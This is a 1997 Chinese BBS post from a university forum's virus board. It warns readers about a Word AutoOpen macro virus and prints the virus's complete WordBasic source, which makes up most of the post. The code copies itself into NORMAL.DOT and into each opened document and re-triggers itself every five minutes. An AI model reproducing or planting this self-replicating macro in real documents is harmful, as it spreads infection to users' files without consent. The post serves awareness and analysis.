Virus 版 (精华区)
发 信 人: crystal (熊), 信 区: virus
标 题: 你的DOC文件有这个病毒吗? 查一查
发 信 站: 紫 丁 香
日 期: Mon Apr 14 13:50:20 1997
出 处: robsn01.hit.edu
我见过很多DOC有AutoOpen宏,它能自动复制自己,
不具太多危害,只是总存盘,
原码:
Sub MAIN
' set document mode
Dim dlg As FileSaveAs
MyFile$ = FileName$()
If InStr(1, MyFile$, "文档") = 1 Then
x = Dialog(dlg)
MyFile$ = dlg.Name
' MsgBox MyFile$, Str$(dlg.AddToMru), 64
Else
' dlg.Format = 0
GetCurValues dlg
MyFile$ = dlg.Name
' MsgBox MyFile$, Str$(dlg.AddToMru), 64
End If
' if it is Macro Document, then goto bye2
If IsMacro(0) = - 1 Then Goto Bye2
' if Document is new, then goto Bye1
If MyFile$ = "" Then Goto Bye1
' Save file as template
If dlg.Format = 0 Then
FileSaveAs .Name = MyFile$, .Format = 1, .LockAnnot = 0, .Password = "", .AddToMru = 1, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, .NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
Else
FileSave
End If
' search macro AutoOpen in Normal template
normal = CountMacros(0)
OkExist = 0
For i = 1 To normal
If MacroName$(i, 0) = "AutoOpen" Then OkExist = 1
Next i
' Get normal template name
TemplateName$ = DefaultDir$(2) + "\NORMAL.DOT"
'MsgBox TemplateName$, "", 64
' copy AutoOpen to normal template
If OkExist <> 1 Then
Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = "AutoOpen", .Tab = 3
' Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = "SaveDoc", .Tab = 3
FileSaveAs .Name = TemplateName$, .Format = 1, .LockAnnot = 0, .Password = "", .AddToMru = 0, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, .NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
End If
' search macro AutoOpen in active document
active = CountMacros(1)
OkExist = 0
For i = 1 To active
If MacroName$(i, 1) = "AutoOpen" Then OkExist = 1
Next i
' copy AutoOpen to active template
If OkExist <> 1 Then
Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "AutoOpen", .Tab = 3
' Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "SaveDoc", .Tab = 3
FileSave
End If
Bye1:
' set document mode
dlg.Format = 0
Bye2:
' set timer to run AutoOpen again
internal = 5 / 24 / 60' internal time is 5 minutes
alarmtime = TimeValue(Time$()) + internal
alarm$ = Time$(alarmtime)
OnTime alarm$, "AutoOpen"
End Sub
--
※ Origin:·紫 丁 香 pclinux·[FROM: robsn01.hit.edu]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:5.676毫秒